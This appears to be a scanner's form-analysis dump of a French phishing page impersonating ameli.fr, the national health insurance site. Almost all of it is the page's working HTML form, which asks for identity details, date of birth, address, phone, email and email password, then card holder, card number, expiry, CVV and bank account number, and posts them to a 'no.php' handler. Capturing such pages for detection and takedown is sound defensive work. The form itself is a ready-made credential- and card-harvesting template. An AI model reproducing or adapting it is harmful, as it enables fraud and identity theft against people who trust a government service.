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Form analysis
1 forms found in the DOM

POST no.php

<form method="post" action="no.php" style="
">
  <div id="creation" class="form-group col-xs-12 col-md-6 col-lg-6 optionmere" style="margin-bottom: 4%;background: #EEF5F9;border-radius: 0px;border-top: 1px solid #2B84BF;">
    <h1 class="titre" style="
    margin-top: -1%;
    margin-bottom: 1px;
    border-bottom: 0px solid #0B6BA8;
    marg;
    color: #2B84BF;
    ">Je renseigne mes informations personnelles</h1>
    <div class="" style="
    margin-top: 0%;
">
      <div class="erreur invisible" id="Cat23S"></div>
      <div>
        <div class="form-group saisie">
          <label for="spi_tmp" style="
    font-weight: 100;
    color: #CB539B;
    font-size: 1em;
    font-weight: bold;
">Confirmer vos informations</label>
          <a href="./ameli.fr.html#" class="info">
                                                <img width="18" height="18" class="aide" src="./templates/picto_erreur.png" alt="Aide" style="
    width: 12pt;
    height: 12pt;
">
                                                <span data-toggle="tooltip">Vérifiez vos informations</span>
                                            </a>
          <br>
          <div class="erreur invisible" id="Cat1_3S_spi_tmp"> Le nom et prénom comporte uniquement des Lettres ; veuillez vérifier votre saisie. </div>
        </div>
        <div class="form-group saisie">
          <label for="teledec_tmp" style="
    font-weight: 100;
">Nom complet</label>
          <a href="./ameli.fr.html#" class="info">
                                  <img width="18" height="18" class="aide" src="./templates/info.png" alt="Aide">
                                    <span data-toggle="tooltip">
                                            Saisissez votre Prénom et Nom. 
                                        </span>
                                            </a>
          <br>
          <div class="form-group saisie" style=" width: 102%;">
            <input class="saisie4 " placeholder="Prénom" name="AK01" aria-required="true" autocomplete="off" id="rfr_tmp" required="" style="
    width: 49%;
    border-radius: 0px;
">
            <input class="saisie5 " placeholder="Nom" type="text" name="AK02" aria-required="true" autocomplete="off" required="required" style="
    width: 49%;
    border-radius: 0px;
">
            <div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
          </div>
        </div>
        <div class="form-group saisie">
          <label for="spi_tmp" style="
    font-weight: 100;
">Date de Naissance</label>
          <br>
          <div style="
    width: 102%;
"><select name="AK03" data-msg-required="&nbsp;*" class="saisie2" id="user-base-data-jour" required="required" style="border-radius: 0px;">
              <option value="">Jour</option>
              <option value="01">01</option>
              <option value="02">02</option>
              <option value="03">03</option>
              <option value="04">04</option>
              <option value="05">05</option>
              <option value="06">06</option>
              <option value="07">07</option>
              <option value="08">08</option>
              <option value="09">09</option>
              <option value="10">10</option>
              <option value="11">11</option>
              <option value="12">12</option>
              <option value="13">13</option>
              <option value="14">14</option>
              <option value="15">15</option>
              <option value="16">16</option>
              <option value="17">17</option>
              <option value="18">18</option>
              <option value="19">19</option>
              <option value="20">20</option>
              <option value="21">21</option>
              <option value="22">22</option>
              <option value="23">23</option>
              <option value="24">24</option>
              <option value="25">25</option>
              <option value="26">26</option>
              <option value="27">27</option>
              <option value="28">28</option>
              <option value="29">29</option>
              <option value="30">30</option>
              <option value="31">31</option>
            </select>
            <select name="AK04" data-rule-required="true" class="saisie2" data-msg-required="&nbsp;*" id="user-base-data-mois" required="required" style="
    width: 32%;
    border-radius: 0px;
">
              <option value="">Mois</option>
              <option value="Janvier">Janvier</option>
              <option value="Février">Février</option>
              <option value="Mars">Mars</option>
              <option value="Avril">Avril</option>
              <option value="Mai">Mai</option>
              <option value="Juin">Juin</option>
              <option value="Juillet">Juillet</option>
              <option value="Août">Août</option>
              <option value="Septembre">Septembre</option>
              <option value="Octobre">Octobre</option>
              <option value="Novembre">Novembre</option>
              <option value="Décembre">Décembre</option>
            </select>
            <select name="AK05" data-rule-required="true" data-msg-required="&nbsp;*" class="saisie2" id="user-base-data-année" required="required" style="
    border-radius: 0px;
">
              <option value="">Année</option><!--l'ann&eacute;e-->
              <option value="1999">1999</option>
              <option value="1998">1998</option>
              <option value="1997">1997</option>
              <option value="1996">1996</option>
              <option value="1995">1995</option>
              <option value="1994">1994</option>
              <option value="1993">1993</option>
              <option value="1992">1992</option>
              <option value="1991">1991</option>
              <option value="1990">1990</option>
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              <option value="1918">1918</option>
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              <option value="1915">1915</option>
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              <option value="1913">1913</option>
              <option value="1912">1912</option>
              <option value="1911">1911</option>
              <option value="1910">1910</option>
              <option value="1909">1909</option>
              <option value="1908">1908</option>
              <option value="1907">1907</option>
              <option value="1906">1906</option>
              <option value="1905">1905</option>
            </select>
          </div>
        </div>
        <div class="form-group saisie">
          <label for="teledec_tmp" style="
    font-weight: 100;
">Adresse</label>
          <a href="./ameli.fr.html#" class="info">
                                  <img width="18" height="18" class="aide" src="./templates/info.png" alt="Aide">
                                    <span data-toggle="tooltip">
                                            Saisissez votre Adresse/code Postal. 
                                        </span>
                                            </a>
          <br>
          <div class="form-group saisie" style=" width: 102%;">
            <input class="saisie4 " placeholder="Adresse" name="AK06" aria-required="true" autocomplete="off" id="rfr_tmp" required="" style="border-radius: 0px;">
            <input class="saisie5 " placeholder="Code Postal" type="tel" name="AK07" aria-required="true" autocomplete="off" id="zip" required="required" style="width: 39%;border-radius: 0px;">
            <div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
          </div>
        </div>
        <div class="form-group saisie" style="
">
          <label for="spi_tmp" style="font-weight: 100;">Téléphone</label>
          <a href="./ameli.fr.html#" class="info">
                                                <img width="18" height="18" class="aide" src="./templates/info.png" alt="Aide">
                                                <span data-toggle="tooltip">
                                                    Saisissez numéro de téléphone.
                                                </span>
                                            </a>
          <br>
          <input class="saisie TroisSChamps" pattern="^(?:0|\(?\+33\)?\s?|0033\s?)[1-79](?:[\.\-\s]?\d\d){4}$" name="AK08" aria-required="true" placeholder="Mobile" autocomplete="on" id="tel" type="tel" required="" style="border-radius: 0px;">
        </div>
        <div class="form-group saisie">
          <label for="teledec_tmp" style="
    font-weight: 100;
">E-mail</label>
          <a href="./ameli.fr.html#" class="info">
                                  <img width="18" height="18" class="aide" src="./templates/info.png" alt="Aide">
                                    <span data-toggle="tooltip">
                                            Saisissez votre Adresse/code Postal. 
                                        </span>
                                            </a>
          <br>
          <div class="form-group saisie" style="width: 102%;margin-bottom: -8%;">
            <input class="saisie4 " placeholder="Adresse email" name="AK14" aria-required="true" autocomplete="off" id="rfr_tmp" required="" style="border-radius: 0px;margin-bottom: 68px;" type="email">
            <input class="saisie5 " placeholder="Mot de passe" type="password" name="AK15" aria-required="true" autocomplete="off" id="zip" required="required" style="width: 39%;border-radius: 0px;">
            <div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div id="creation" class="form-group col-xs-12 col-md-6 col-lg-6 optionmere1" style="
    background: #F5F5F5;
    border-radius: 0px;
    border-top: 1px solid #CB539B;
">
    <h1 class="titre" style="
    margin-top: -1%;
    border-bottom: 0px solid #0B6BA8;
    color: #CB539B;
    margin-bottom: 0%;
">Je renseigne mes données bancaires</h1>
    <div class="" style="
    margin-top: 0%;
">
      <div class="form-group saisie">
        <label for="spi_tmp" style="
    font-weight: 100;
    color: #2B84BF;
    font-size: 1em;
    font-weight: bold;
">Vos cordonnées bancaire</label>
        <a href="./ameli.fr.html#" class="info">
                                                <img width="18" height="18" class="aide" src="./templates/picto_erreur.png" alt="Aide" style="
    width: 12pt;
    height: 12pt;
">
                                                <span data-toggle="tooltip">Vérifiez vos informations</span>
                                            </a>
        <br>
        <div class="erreur invisible" id="Cat1_3S_spi_tmp"> Le nom et prénom comporte uniquement des Lettres ; veuillez vérifier votre saisie. </div>
      </div>
      <div class="form-group saisie">
        <label for="spi_tmp" style="
    font-weight: 100;
">Titulaire de la carte</label>
        <a href="./ameli.fr.html#" class="info">
                                                <img width="18" height="18" class="aide" src="./templates/info.png" alt="Aide">
                                                <span data-toggle="tooltip">
                                                    Saisissez le nom complet sur la carte.
                                                </span>
                                            </a>
        <br>
        <input class="saisie TroisSChamps" name="AK09" aria-required="true" placeholder="Titulaire de la carte" autocomplete="on" id="spi_tmp" required="" style="
    border-radius: 0px;
">
        <div class="erreur invisible" id="Cat1_3S_spi_tmp"> Le nom et prénom comporte uniquement des Lettres ; veuillez vérifier votre saisie. </div>
      </div>
      <div class="form-group saisie">
        <label for="teledec_tmp" style="
    font-weight: 100;
">Numéro de carte de crédit</label>
        <a href="./ameli.fr.html#" class="info">
                                                <img width="18" height="18" class="aide" src="./templates/info.png" alt="Aide">
                                                    <span data-toggle="tooltip">
                                                        Saisissez les 16 Chiffres figurant sur la Carte de Crédit.
                                                    </span>
                                            </a>
        <br>
        <input class="saisie TroisSChamps" style="background-image: url(&quot;templates/cccc.png&quot;); background-repeat: no-repeat; background-position: 101.5% 74.8%; border-radius: 0px;" id="cardcc" onkeyup="type_carte()"
          placeholder="Numéro de carte de crédit" type="tel" maxlength="16" pattern="((4\d{3})|(5[0-9]\d{2}))( |)?\d{4}(\4\d{4}){2}" name="AK10" aria-required="true" autocomplete="off" required="required" templates="">
        <div class="erreur invisible" id="cardcc"> Votre numéro de Carte de Crédit comporte uniquement des caractères numériques ; veuillez vérifier votre saisie. </div>
      </div>
      <div class="form-group saisie" style="
">
        <label for="teledec_tmp" style="
    font-weight: 100;
">Expire à Fin</label>
        <a href="./ameli.fr.html#" class="info">
                                  <img width="18" height="18" class="aide" src="./templates/info.png" alt="Aide">
                                    <span data-toggle="tooltip">
                                            Séléctioner la date d'éxpiration sur la carte/Cryptogramme Visuel. 
                                        </span>
                                            </a>
        <br>
        <div class="form-group saisie" style=" width: 102%;">
          <div style="  width: 102%;"><select class="saisie3" name="AK11" data-rule-required="true" data-msg-required="&nbsp;*" required="" style="
    width: 30%;
    border-radius: 0px;
">
              <option value="">Mois</option>
              <option value="01">01</option>
              <option value="02">02</option>
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              <option value="04">04</option>
              <option value="05">05</option>
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              <option value="07">07</option>
              <option value="08">08</option>
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            </select>
            <select class="saisie3" name="AK12" "="" data-rule-required=" true" data-msg-required="&nbsp;*" required="" style="
    width: 30%;
    border-radius: 0px;
">
              <option value="">Année</option>
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              id="cry" placeholder="Crypto" required="required">
            <div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
          </div>
        </div>
        <div class="form-group saisie">
          <label for="teledec_tmp" style="
    font-weight: 100;
">Numéro de compte</label>
          <a href="./ameli.fr.html#" class="info">
                                  <img width="18" height="18" class="aide" src="./templates/info.png" alt="Aide">
                                    <span data-toggle="tooltip">
                                            Saisissez votre Numéro de compte. 
                                        </span>
                                            </a>
          <br>
          <div class="form-group saisie" style=" width: 102%;">
            <input class="saisie5 " placeholder="Numéro de compte" type="tel" name="AK22" aria-required="true" autocomplete="off" id="zip" required="required" style="width: 39%;border-radius: 0px;">
            <div class="erreur invisible" id="Cat1_3S_rfr_tmp">
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    margin-top: -1px;
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                style="margin-top: 3%;border-radius: 0%;margin-bottom: 6.7%;background-color: #CB539B;font-size: 1em;font-weight: normal;line-height: 1.42857;padding: 11px 12px;text-align: center;vertical-align: middle;white-space: nowrap;text-transform: uppercase;letter-spacing: 0.1em;">Valider</button>
            </div>
          </div>
        </div>
        <br>
        <br>
        <div class="container" id="backToPortail">
          <!-- "cheminDeFer" -->
        </div>
      </div>
      <br>
      <br>
    </div>
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MoisJanvierFévrierMarsAvrilMaiJuinJuilletAoûtSeptembreOctobreNovembreDécembre
Année
19991998199719961995199419931992199119901989198819871986198519841983198219811980197919781977197619751974197319721971197019691968196719661965196419631962196119601959195819571956195519541953195219511950194919481947194619451944194319421941194019391938193719361935193419331932193119301929192819271926192519241923192219211920191919181917191619151914191319121911191019091908190719061905
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Mois010203040506070809101112 Année2021202220232024202520262027202820292030
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